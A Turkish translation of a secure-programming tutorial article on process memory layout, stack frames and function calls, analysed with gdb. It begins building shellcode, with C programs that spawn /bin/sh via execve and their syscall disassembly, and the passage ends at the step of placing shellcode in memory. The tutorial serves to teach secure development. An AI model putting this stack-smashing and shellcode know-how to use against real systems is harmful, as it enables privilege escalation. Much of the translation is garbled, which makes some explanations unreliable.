Home Map Index Search News Archives Links About LF
[Top bar]
[Bottom bar]
Bu makalenin farkl� dillerde bulundu�u adresler: English  Castellano  Deutsch  Francais  Nederlands  Russian  Turkce  Korean  

convert to palmConvert to GutenPalm
or to PalmDoc

[image of the authors]
taraf�ndan Frédéric Raynal, Christophe Blaess, Christophe Grenier

Yazar hakk�nda:

Christophe Blaess ba��ms�z bir havac�l�k m�hendisi.O bir Linux merakl�s� ve bir�ok i�ini bu sistem yard�m�yla yap�yor.Linux D�k�mantasyon Projesi taraf�ndan yay�nlanan ki�isel sayfalar�n �evirisinin organizasyonunu yap�yor.

Chritophe Grenier ESIEA'da be� y�ld�r ��renci ve ayn� zamanda burada sistem y�neticisi olarak �al���yor.Bilgisayar g�venli�ine kar�� bir tutkusu var.

Frédéric Raynal bir�ok senedir Linux kullan�yorlar ��nk� o kirletmiyor, hormonlar� kullanm�yor, ne GMO ne de hayvansal ya�...sadece ter ve oyunlar.


��erik:

Bir uygulaman�n geli�tirilmesinde g�venli�in istenmeyen durumlar�ndan ka���lar - B�l�m 2:haf�za, y���t ve fonksiyonlar, kabuk kodu

�eviri : Co�kun Demirbo�a

article illustration

�zet:

Bu makale serileri uygulamalarda ortaya ��kan genel g�venlik sorunlar�n� vurgulamak amac�yla olu�turulmu�tur.Bu gibi istenmeyen sorunlar�n �e�itli geli�meler yard�m�yla nas�l a��laca��n� g�stermektedir.

Bu makale, haf�za organizasyonu/yay�l�m�, fonksiyon ve haf�za aras�ndaki ili�ki konular� �zerinde yo�unla�m��t�r.Son b�l�m kabuk kodu'nun nas�l olu�turulaca�� konusunu ele almaktad�r.



 

Giri�

Bir �nceki makalemizde basit g�venlik sorunlar�n� analiz etmi�tik.Bunlardan bir tanesi harici komutlar�n yerine getirilmesi �zerineydi.Bu makale ve bundan sonraki,daha geni� �e�it sald�r�lar� anlatacak.�lk olarak �al��an uygulamalardaki haf�za yap�lar�na �al��aca��z ve kabu�u ba�latmak i�in k���k bir kod yazaca��z.(kabuk kodu)  

Haf�za yay�l�m�

 

Program nedir?

Talimat k�mesinden olu�an bir program d���nelim, makina koduyla ifade edilsin ( yazmak i�in kullan�lan dil g�zard� edilsin ),i�te biz bunlara binary diyoruz.Binary dosyas�n� derlerken program kayna�� de�i�kenleri, sabitleri ve talimatlar� tutar.Bu b�l�m binary dosyas�n�n de�i�ik b�l�mlerini haf�za yay�l�m�n� sunuyor.

 

Farkl� b�lgeler

Binary dosyas� �al��t���nda neler oldu�unu anlamak i�in, haf�za organizasyonuna bir bakal�m.De�i�ik alanlara itimat etmektedir :

memory layout

Genellikle ama herzaman de�il, biz sadece bu makale i�in �nemli olan baz� b�lgelere yo�unla�aca��z.

size -A file --radix 16 komutu derlemek i�in gerekli her bir alan�n boyutunu verir.Burdan haf�za adreslerini al�rs�n�z (objdump komutu bu bilgiye ula�mak i�in kullan�l�r). Bu size komutu binary olarak "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              ro      0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

text alan� program talimatlar�n� tutmaktad�r.Bu alan sadece-oku.Bu ayn� binary dosyas�n� �al��t�ran b�t�n i�lemler aras�nda payla��ld�.Bu alana yazmaya te�ebb�s etmek segmentasyon ihlali hatas�na sebep olur.

Di�er alanlar� a��klamadan �nce gelin C'deki de�i�kenler ile ilgili birka� �ey s�yleyelim.global de�i�kenler t�m program da kullan�l�r ancak local de�i�kenler sadece fonksiyonlarla birlikte kullan�l�r. static de�i�kenler bilindik bir boyuta sahiptirler.Boyutlar� �e�itlerine ba�l�d�r.�e�itleri ise �rne�in;char, int, double, i�aret�iler vs.Bir i�aret�ibir adres i�aret eder bir haf�za ile birlikte.Bu bir PC tipi makinada 32bit 'tir.Bilinmeyen bir�ey varki o da derleme s�ras�nda i�aret�inin hangi alana do�ru oldu�udur.Bir dynamic de�i�keni bir haf�za b�lgesi ve bunlara i�aret eden i�aret�ileri (i�aret�inin kendisi de�il adresi) ifade eder.

Verilen i�lem i�in haf�za organizasyonuna geri d�nelim.data alan� global duragan verileri saklar ( bu veri derleme zaman�n� sa�lar ), bss par�as� ba�ta yer almayan global verileri tutar.Bu alanlar derleme zaman� i�in ayr�lm��t�r ve boyutlar� tuttuklar� nesnelere g�re tan�mlanm��t�r.

Yerel ve dinamik de�i�kenler bir haf�za alan� i�inde grupland�r�l�r. Bu haf�za alan� program�n �al��mas� i�in ayr�lm��t�r.(user stack frame). Fonksiyonlar yard�ma �a�r�l�r, yerel de�i�kenler i�in geli�mi� �rnekler bilinmemektedir.Bunlar� tan�mlad���m�z zaman bunlar� bir stacki�ine koyaca��z.Bu y���t en y�ksek adreslerin �zerindedir ve LIFO modeline g�re �al���r(Last In, First Out).user frame alt�ndaki alan dinamik de�i�kenlerin tahsisine kullan�lm��t�r.Bu alan heap �eklinde tan�mlan�r ve i�aret�iler ve dinamik de�i�kenler taraf�ndan adreslenen haf�za alanlar�n� tutar.A��k�a g�r�l�yorki, bir i�aret�i 32bit ya BSS veya y���tta.Tahsis edildi�inde ilk ayr�lm�� byte'a kar�� gelen bir adres al�r.

 

Ayr�nt�l� �rnek

S�radaki �rnek haf�zadaki de�i�ken yay�l�m�n� �rneklemektedir:

/* mem.c */

  int    index = 1;   //in data
  char * str;         //in bss
  int    nothing;     //in bss

void f(char c)
{
  int i;              //in the stack
  /* Reserving de 5 characters in the heap */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

gdb debugger t�m bunlar� onaylayacakt�r.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

Gelin bu f() fonksiyonuna bir aral�k b�rakal�m ve program� bu noktayakadar �al��t�ral�m :

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

�imdi de�i�kenlerin yerlerini g�rebiliyoruz.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

Komut 1 (print &index) haf�za adresini index global de�i�ken i�in g�steriyor.�kinci talimat (info) birle�tirme sembol� veriyor bu adres ve haf�zadaki yer i�in:index, global dura�an de�i�keni bu data alanda saklanmaktad�r.

3.ve 4. talimatlar ba�ta gelmeyen dura�an de�i�kenleri nothing, BSS par�as� i�inde yer almaktad�r.

5.sat�rda str ...komutu g�r�l�yor.Ger�ekte str de�i�ken i�ermektedir, ve bu adres 0x80495a8.Talimat 6 hi�bir de�i�ken bu adreste tan�mlanmam��t�r.Komut 7 str de�i�ken adresini almaya izin verir ve komut 8 onu i�aret eder ve BSS par�as�nda bulunabilir.

9'da 4 byte adresteki haf�zaya kar�� gelir 0x804959c : Bu bir ayr�lm�� adresle birlikte k�meye kar�� gelir.10'un i�eri�inde �u string vard�r "abcde" :

hexadecimal value : 0x64 63 62 61      0x00000065
character         :    d  c  b  a               e

Yerel de�i�kenler c ve i y���t�n i�inde yer al�r.

size komutu sayesinde boyutun geri d�nd���ne dikkat �ekmek istiyoruz.Ancak programa bakt���m�zda farkl� alanlar bekledi�imiz gibi uyum sa�lamaz.Bunun sebebi program �al��t�r�ld���nda k�t�phanede de�i�ik de�i�kenlerin varolmas�d�r.(type info variables under gdb to get them all).

 

Y���t ve k�me

Her seferinde fonksiyon tan�mland���nda, yeni bir �evre terel de�i�lenler i�in gerekli haf�za ile birlikte ve fonksiyon parametreleri ile birlikte olu�turulur (burda environment fonksiyon �al��t�r�l�rken t�m elementler g�r�lece�i manas�na gelir : arg�manlar�, yerel de�i�kenleri,�al��an y���tlar�nda varolan geri d�n�� adresleri...fakat bir �nceki makalede bahsetti�imiz kabuk de�i�kenleri i�in �evre de�il). %esp (extended stack pointer) kayd� en y�ksek y���t adreslerini tutar.

Yerel de�i�kenlerin y���tlarla birlikte adresleri g�receli kar��l�k olarak %esp ifade edilebilir.Ba�l�klar herzaman eklenip ��kar�labilir y���tlardan ve her de�i�kenin kar��l��� ayarlanabilir.Bu �ok etkisizdir. �kinci kay�t�n kullan�lmas� �u geli�meye yol a�ar : %ebp (geni�letilmi� taban i�aret�isi) ba�lang�� adresini tutar.B�ylece, kay�tla ilgili offset a��klamak yeterli olur.Fonksiyon �al���rken sabit kal�r.Parametreleri bulmak veya fonksiyonlar� yerel de�i�kenler ile birlikte kolay de�ildir.

Y���tlar�n temel birimleri word : i386 CPU'lar �zerinde 32bit ve 4 byte'd�r.�rne�in, Alpha CPU'lar� bir kelime i�in 64bit yer ay�r�r. Y���tlar sadece kelimeleri y�netir.Bunun anlam� her yer ayr�lm�� de�i�ken baz� kelime numaras� kullan�r.�lerde fonksiyonlar�n a��klamas�nda ayr�nt�l� bir �ekilde g�rece�iz. str g�steriminde de�i�ken gdb kullan�l���n� i�erir.bir �nceki �rnek bunu �rnekliyor. gdb x komutu t�m c�mleyi g�steriyor (soldan sa�a oku little endian a��klamas�na kadar.

Y���t 2 cpu talimat� taraf�ndan kontrol edilebilir :

 

Kay�tlar

Kay�tlar ger�ekte nedir?Onlar� yaln�zca birer �izici olarak g�rebilirsiniz, bir kelime serisinden olu�mu�lard�r.Her seferinde kayda yeni bir kelime girer ve eskisi kaybolur.Haf�za ve CPU aras�nda direk bir ileti�ime izin verir.

�lk olarak 'e' kay�tlarda g�r�n�r ve "extended" manas�na gelir ve 16bit ile 32bit aras�ndaki evrimi i�aret eder.

Kay�tlar d�rt s�n�fa ayr�l�rlar :

  1. genel kay�tlar : %eax, %ebx, %ecx ve %edx veriyi y�netmek i�in kullan�l�r;
  2. par�a kay�tlar : 16bit %cs, %ds, %esx ve %ss, haf�zan�n ilk par�as�n� tutar;
  3. kar��l�k kay�tlar :bunlar par�a kay�tlar ile ilgili bir kar��l�k i�aret ederler;
  4. �zel kay�tlar :bunlar sadece CPU taraf�ndan kullan�l�r.
Burada ayr�nt� verilmemi�tir, ancak ayn� s�n�ftan olan kay�tlar ayn� �eyler zannedilmemelidir.  

Fonksiyonlar

 

Giri�

Bu b�l�mde bir program�n ba�lang�c�ndan sonuna dek olan davran��� sunulacakt�r. Bu b�l�m boyunca �u �rne�i kullanaca��z :
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

Bu b�l�m�n amac� yukar�da yer alan fonksiyonlar�n davran��lar�n� y���tlara ve kay�tlara dikkat ederek a��klamakt�r.Baz� sald�r�lar bir program�n �al��mas�n� de�i�tirebilirler.Bunlar� anlamak i�in nelerin d�zg�n �al��t���n� bilmek gereklidir.

Bir fonksiyonun �al��mas� �� a�amaya ayr�l�r :

  1. prolog : Bir fonksiyon girildi�inde ayn� zamanda siz onun ��k�� yolunu haz�rlam�� oluyorsunuz.Y���tlar� kaydetmek i�in fonksiyonlar girilmeden ve saklanmadan �nce haf�za olmas� gerekir;
  2. call fonksiyonu : Bir fonksiyon �a�r�ld���nda onun parametreleri y���t�n i�inde yer al�r ve i�aret�i talimat kaydedilmi�tir, ��nk� bu talimat�n �al��t�r�lmas� fonksiyonun sa��ndan i�leme devam edilmesini sa�lar;
  3. return fonsiyonu : Bu fonksiyon fonksiyon �a�r�lmadan �nce gerekli �eylerin geri �a�r�lmas�n� sa�lar.
 

Ba�lang��

Bir fonksiyon herzaman talimat ile ba�lar :
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc depends on each program

Bu �� talimat prolog'un dedilerini tap�yor.diagram 1 ayr�nt�lar� toto() fonsiyonunun ba�lang�c�n�n %ebp ve %esp kay�t par�alar�n�n nas�l �al��t���n� a��klamaktad�r :

Diag. 1 : prolog of a function
prolog Ba�lang��ta, %ebp noktalar� haf�zada herhangi bir X adresini i�aret eder.%esp y���tta en d���k yerdedir Y adresinde ve son y���t giri� noktas�n� i�aret eder.Bir fonksiyon girildi�inde "ge�erli �evre" 'yi kaydetmek zorundas�n�z.Bu %ebp'dur.%ebp'den beri y���t�n i�ine konur ve %esp haf�za s�zc��� taraf�ndan azalt�l�r.
environment Bu ikinci talimat fonksiyon i�in yeni bir "�evre" in�a edilmesini %ebp kodunu y���t�n en ba��na konulmas� ile sa�lar.%ebp ve %esp bir �nceki �evre adresini tutarlar ve ayn� haf�za noktas�n� i�aret ederler.
stack space for local variables �imdi yerel de�i�kenler i�in y���t bo�lu�u ayr�lm�� durumdad�r.Karakter s�ras� be� ba�l�kla tan�mlanm��t�r ve 5 byte (bir char bir byte) yere ihtiya� vard�r. Bununla birlikte y���tlar sadece words'� y�netirler ve sadece word'ten olu�an birka� (1 word, 2 words, 3 words, ...) yer ay�r�rlar.4 byte yerine 5 byte word saklamak i�in 8 byte ( 2 words) kullanman�z gerekli. String'in bir par�as� olmasa dahi bu par�a kullan�labilir.k tam say� 4 byte kullan�r.Bu bo�luk %esp'un 0xc taraf�ndan azalt�lmas� i�in kullan�l�r. Yerel de�i�kenler 8+4=12 byte kullan�rlar (�rne�in 3 s�zc�k).

Bu mekanizmadan ba�ka burda hat�rlanmas� gereken �nemli bir nokta da yerel de�i�kenlerin yeridir : yerel de�i�kenler %ebp ile ilgili olarak negative gibi bir kar��l��a sahiptirler. i=0 talimat� main() fonksiyonu i�inde bunu �rnekler.Makine kodu i'yi �al��t�rmak i�in direkt olmayan bir adresleme y�ntemi kullan�r :

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

0xfffffffc heksedesimal -4 tam say�s�n� ifade eder. Bu notasyonun anlam� 0 de�erini "-4 byte" �n bulundu�u %ebp kayd�na yerle�tir. i ilk ve tek yerel de�i�kendir main() fonksiyonunun i�inde yer alan.B�ylece onun adresi 4 byte (�rne�in tam say�n� boyutu) %ebp kayd�n�n alt�ndad�r.

 

�a�r�

Fonksiyonun ba��nda yap�ld��� gibi fonksiyon kendi �evresini haz�rlar, fonksiyon bu fonksiyona argumanlar�n� almas� i�in izin verir ve �a��ran fonksiyona geri d�nerek i�lemi bitirir.

�rnek olarak toto(1, 2); �a�r�s�n� ele alal�m.

Diag. 2 : Function call
argument on stack Fonksiyon �a��rmadan �nce argumanlar y���tta sakl� olmal�d�rlar.Bizim bu �rne�imizde, iki sabit tam say� 1 ve 2 birinci y���tt�r ve sonuncuyla ba�lar. %eip kayd� bir sonraki talimat�n adresini �al��mas� i�in tutar.
call

call talimat�n� �al��t�r�rken %eip bir sonraki talimat�nadres de�erlerini al�r.T�m talimatlar ayn� bo�luk i�in kullan�lmaz fakat bu CPU 'ya ba�l�d�r. call yard�m� ile %eip i�indeki adres kaydedilebilir.Bu i�lemden fonksiyonu �al��t�rd�ktan sonra geriye d�nmek i�in gereklidir :

    push %eip

Bir arg�man gibi de�erlendirilip call'e g�ndermek i�in bir de�er verilmi�tir.Bu da talimat�n ba��ndaki toto() fonksiyonun adresine kar��l�k gelir.Bu adres sonra %eip'a kopyalan�r.B�ylece yeni talimat �al��maya ba�lar.

�lk �nce biz fonksiyonun i�indeyiz. 'nun arg�manlar� ve geri d�nen adresin positive kar��l��� vard�r %ebp ile ilgili olan.Bir sonraki talimat bu kay�t� y���t�n en �st�ne yerle�tirir.j=0 talimat� toto()'�n i�indedir.Fonksiyon bunu �rnekler.Makina kodu tekrar bu indirekt adreslemeyi j'yi �al��t�rmak i�in kullan�r :

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

0xc heksedesimali +12 tam say�s�n� ifade eder. Bu notasyon "+12 byte" da bulunan 0 de�erini ifade eder. j fonksiyonun ikinci arg�man�d�r ve 12 byte'�n en �st noktas�nda bulunur. (4 talimat�n i�aret�isi, 4 birinci arg�man ve 4 ikinci arg�man i�in.)

 

Geri D�n��

Bir fonksiyonu terketmek iki a�amada yap�l�r.�lk olarak,�evre fonksiyon i�in temizlenmelidir (�rne�in %ebp ve %eip yerle�tirmek �a��rmadan �nce). Y���t� kontrol etmemiz fonksiyon i�in gerekli bilgiyi almak i�in gereklidir.

Birinci ad�m fonksiyon ile birlikte at�lm�� oldu. :

leave
ret

Bir sonraki fonksiyon ile yap�lacak olan �a�r�n�n yer tutmas� ve y���t�n yer te�kil etmesidir.

Bir �nceki �rne�i ta��yoruz toto() fonksiyonu ilgili olan.

Diag. 3 : Function return
initial situation Burda ba�lang�� ko�ullar�n� a��kl�yoruz.�a�r�dan �nce %ebp adreste yer al�r. X ve %esp, Y adresinde yer al�r. Buradan fonksiyon argumanlar�n� biir kenara toplayarak %eip'i ve %ebp'i kaydettik ve yerel de�i�kenlerimiz i�in bir k�s�m yer ay�rd�k.Bir sonraki �al��t�r�lan talimat leave olacakt�r.
leave The instruction leave is equivalent to the sequence :
    mov ebp esp
    pop ebp

Birincisi %esp ve %ebp'i al�r.�kincisi %ebp kay�d�nda yer alan� y���t�n en �st�ne yerle�tirir. Sadece bir talimatta (leave), y���t ba�lang��s�z olabilir.
restore ret talimat� %eip'� saklar.�a�r� fonksiyonunun i�lemi bu yolla ba�lar.Bunun i�in %eip'teki y���t� kald�rabiliriz.

Fonksiyonun arg�manlar� y���tta saklanana kadar ba�lang�� ko�ullar�na d�nmeyece�iz. Onlar�n yerlerini dde�i�tirme bir sonraki talimat olacak. Z+5 ile tan�mlanan adres %eip'�n i�inde yer al�r.

stacking of parameters Parametrelerin y���t haline getirilmesi �a�r� fonksiyonunun i�erisinde yap�l�r. Bu z�t diyagramda ay�ra�lar yard�m�yla �a�r� fonksiyonda bulunan talimatlar�n aras�nda ve add 0x8 ile �a�r� fonksiyonunundaki %esp yard�m�yla �rneklenmi�tir. Bu talimat %esp'� y���t�n en �st noktas�na verir toto() fonksiyon parametresinin kullanabildi�i kadar kullanarak.%ebp ve %esp kay�tlar� �imdi olay�n i�inde yer al�rlar.Di�er yandan %eip talimat kayd�n�n yeri de�i�ir.
 

Disassembling

gdb Makina kodunu almay� sa�lar main() ve toto() fonksiyonlar�na kar��l�k gelir :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //prolog
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //call
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //return from toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //call
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //return from printf()
0x8048429 <main+49>: leave            //return from main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //prolog
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //return from toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
Talimatlar (renk olmaks�z�n) bizim program talimatlar�m�za kar��l�k gelir.  

Kabuk kodu olu�turma

Bazen y���tlarda varolan i�lemlere m�dehale etmek m�mk�nd�r.Bunu yapman�n yolu fonksiyonun geri d�n�� adresinin �zerine yeniden yazmakt�r ve keyfi kodlar ile uygulama �al��mas� yapmakt�r.Bu �zellikle k�r�c�lar i�in ilgin�tir e�er uygulama kullan�c�dan farkl� bir ID 'de �al���yorsa.Bu tip bir hata bir bak�ma tehlikeli olabilir e�er uygulama bir d�k�man okumaysa ve ba�ka bir kullan�c� taraf�ndan ba�lat�labiliyorsa.

Sonraki makalelerde talimatlar�n uygulanmas�ndaki mekanizm �zerine konu�aca��z. Burda biz kod �zerine �al���yoruz ki bunu ana uygulama �zerinden �al��t�rmay� istiyoruz. En basit ��z�m kabu�u �al��t�rmak i�in bir miktar koda sahip olmakt�r.Okuyucu kendini di�er di�er uygulamalar i�in �rne�in /etc/passwd dosyas�n�n haklar�n� de�i�tirme konusunda e�itebilir.Baz� nedenlerden dolay� ki bunlar gelecekte a��k�a g�r�lecektir,bu program Makine dilinde yap�lmak zorundad�r.Bu tip k���k programlar kabu�u �al��t�rma kaibliyitine sahiptir ve bunlara genellikle shellcode ad� verilir.

�rneklerde Aleph One'�n makalesinden esinlenilmi�tir "Smashing the Stack for Fun and Profit" Phrack magazin No:49.

 

C dili ile

Kabuk kodunun amac� kabu�u �al��t�rmakt�r.Bir sonraki C program� bunu �rneklemektedir :

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

Fonksiyon k�melerinin aras�nda kabu�a �a�r� g�nderme kabiliyeti vard�r. Bir�ok sebep execve()'�n kulllan���n� do�rular.�lk olarak, O bir do�ru sistem �a�r�s�d�r ve di�er exec() ailesinden olan fonksiyonlara benzemez.Bunlar GlibC k�t�phanesinin fonksiyonlar�d�r ve execve()'den in�a edilmi�lerdir.Bu kadar kay�t tan�mlamas� ve onlar�n i�erikleri �zerine konu�mak yeterlidir.

Bundan ba�ka e�er execve() ba�ar�l�rsa �a�r� program� (burda ana uygulamad�r) yeni program�n �al��t�r�labilir koduyla de�i�tirilir. execve() �a�r�s� ba�ar�s�zl��a u�rsd���nda program uygulamas� devam eder.�rne�imizde kod hareket uygulamas�n�n tam ortas�ndac yer al�r. Uygulama ile devam etmek anlams�z ve hatta zaral� dahi olabilir.Uygulama ayr�ca olabildi�i �l��de h�zl� olmak zorundad�r. return (0) programdan ��kma izni verir ve sadece bu talimat main() fonksiyonundan �a�r�ld��� zaman bu beklendi�i gibi burada olmayacakt�r.

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

exit() yine bir k�t�phane fonksiyonudur.Yeni bir de�i�iklik bizim sisteme daha yak�n olmam�z� sa�lad� :

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
�imdi program�m�z� Makine dilindeki kar��l��� ile birle�tirme zaman�m�z geldi.  

Makine dili �a�r�lar�

Biz gcc ve gdb'yi Makine dili talimatlar�n� program�n kar��l�klar�n� al�rken kullan�yoruz.Gelin shellcode3.c'u derleyelim (debug opsiyonu yard�m�yla). (-g) program� b�t�nleme a��s�ndan normalde payla��lm�� k�t�phanelerde bulunur.�imdi _exexve() ve _exit()'yi anlamak i�in bilgiye ihtiyac�m�z vard�r.
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
Sonra gdb ile bizim fonksiyonlar�m�z�n Makine kar��l�klar�na bakaca��z. Bu Linux i�indir.
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)
�imdi haf�zan�n i�eri�ini bu adresten a��klamaya �al��al�m :
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
�imdi string'in ne oldu�unu g�rd�k. execve() ve _exit() fonksiyonlar�na bakal�m :
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
�ekirdek �a�r�s� 0x80 �zerinden 0x804d9d0 adresinde execve() i�in ve 0x804d99b adresinde _exit() i�in yap�l�r.Bu giri� noktas� al���ld�kt�r. execve()'a bakt���m�zda onun 0x0B de�erinin oldu�unu ve _exit()'nun 0x01 de�erinin oldu�unu g�r�r�z.

Diag. 4 : parameters of the execve() function
parameters of the execve() function

Bu fonksiyonlar�n analizi Makine talimatlar�d�r ve bunlar�n kullan�l��� parametreler yard�m�yla sa�lan�rlar :

"/bin/sh" string'ine ihtiyac�m�z vard�r, bir i�aret�i bu string'e ve NULL i�aret�isine. execve() �a�r�s�ndan sonra olas� bir veriyi sunabiliriz.Bir array in�a etmek i�in bir i�aret�iyle birlikte /bin/sh string'ine NULL i�aret�isini takiben, %ebx string'i i�aret edecektir.

Diag. 5 : data representation relative to registers
data
 

Haf�zan�n i�ine kabuk kodunun yerle�tirilmesi

